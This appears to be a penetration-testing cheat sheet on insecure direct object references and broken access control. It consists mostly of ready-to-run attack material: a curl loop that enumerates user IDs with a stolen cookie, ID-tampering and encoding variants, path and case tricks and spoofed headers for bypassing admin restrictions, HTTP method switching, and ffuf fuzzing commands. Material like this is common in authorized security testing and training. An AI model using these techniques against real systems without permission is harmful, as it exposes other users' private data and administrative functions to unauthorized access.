IDOR (Insecure Direct Object Reference)
# Quick IDOR test
for i in $( seq 1 10) ; do curl -s " https://$rhost /api/user/$i " -H " Cookie: $cookie " ; done | grep -v " 403\|401"
id=
user_id=
account=
number=
order=
doc=
key=
email=
group=
profile=
edit=
report=
file=
# Original request
GET /api/user/profile?id=123
# Test IDOR
GET /api/user/profile?id=124
GET /api/user/profile?id=1
GET /api/user/profile?id=0
/user/123/profile → /user/124/profile
/order/1001 → /order/1002
/invoice/INV-001 → /invoice/INV-002
/download?file=report_123.pdf → /download?file=report_124.pdf
// Original
{"user_id" : 123 , "action" : " view" }
// Test
{"user_id" : 124 , "action" : " view" }
{"user_id" : 1 , "action" : " view" }
In Headers
X-User-Id: 123 → X-User-Id: 124
Cookie: user=123 → Cookie: user=124
# Same privilege level, different user
User A accessing User B's data
# Lower privilege accessing higher privilege functions
Regular user accessing admin functions
Missing Function Level Access Control
# User endpoint
GET /api/user/profile
# Admin endpoint (should be protected)
GET /api/admin/users
POST /api/admin/user/delete
Bypassing Access Control via URL
/admin → /Admin
/admin → /ADMIN
/admin → /admin/
/admin → /admin//
/admin → /.admin
/admin → /admin.html
/admin → /admin.php
/admin → /admin%20
/admin → /admin%09
/admin → /admin%00
GET /admin/delete → Blocked
POST /admin/delete → Allowed?
PUT /admin/delete → Allowed?
OPTIONS /admin/delete → Check allowed methods
Via Headers
X-Original-URL: /admin/delete
X-Rewrite-URL: /admin/delete
X-Forwarded-For: 127.0.0.1
X-Forwarded-Host: localhost
X-Custom-IP-Authorization: 127.0.0.1
Log in as User A
Capture requests containing user identifiers
Send to Repeater
Modify identifiers to User B's values
Check if access is granted
Install Autorize in Burp
Log in as low-privilege user
Copy cookies to Autorize
Browse as high-privilege user
Autorize will test each request with low-privilege cookies
# Save cookies from login
curl -c cookies.txt -X POST http://$rhost /login -d " user=admin&pass=xxx"
# Access other user's resource
curl -b cookies.txt http://$rhost /api/user/124/profile
# Using ffuf
ffuf -w numbers.txt -u " http://$rhost /api/user/FUZZ/profile" -H " Cookie: session=xxx" -mc 200
# Generate number list
seq 1 1000 > numbers.txt
# Original
550e8400-e29b-41d4-a716-446655440000
# Test patterns
550e8400-e29b-41d4-a716-446655440001
00000000-0000-0000-0000-000000000000
ffffffff-ffff-ffff-ffff-ffffffffffff
id=123 → id=124
id=123 → id=0x7C (hex)
id=123 → id=MTI0 (base64 of "124")
{"id" : 123 } → {"id": [123]}
{"id" : 123 } → {"id": {"$eq": 124}}
{"id" : 123 } → {"id": "123"}
?id=123 → ?id=123&id=124
?id=123 → ?id=124&id=123
Content-Type: application/x-www-form-urlencoded
→ Content-Type: application/json
user_id=123 → {"user_id": 124}
/api/user/*/profile
/api/user/../admin/profile
/User/123 → /user/123
/USER/123 → /user/123
Scenario
Original
Test
View profile
/user/123
/user/124
Download file
/download?id=abc
/download?id=abd
Edit account
POST /edit {"user_id": 1}
POST /edit {"user_id": 2}
Delete item
DELETE /item/100
DELETE /item/101
View order
/order/ORD-001
/order/ORD-002
API endpoint
/api/v1/users/me
/api/v1/users/1
Technique
Example
Sequential ID
id=123 → id=124
Predictable format
ORD-001 → ORD-002
UUID manipulation
Change last digit
Parameter pollution
?id=1&id=2
Encoded value
id=MTI0 (base64)
JSON array
{"id": [124]}
HTTP method
GET → POST
Header bypass
X-Original-URL: /admin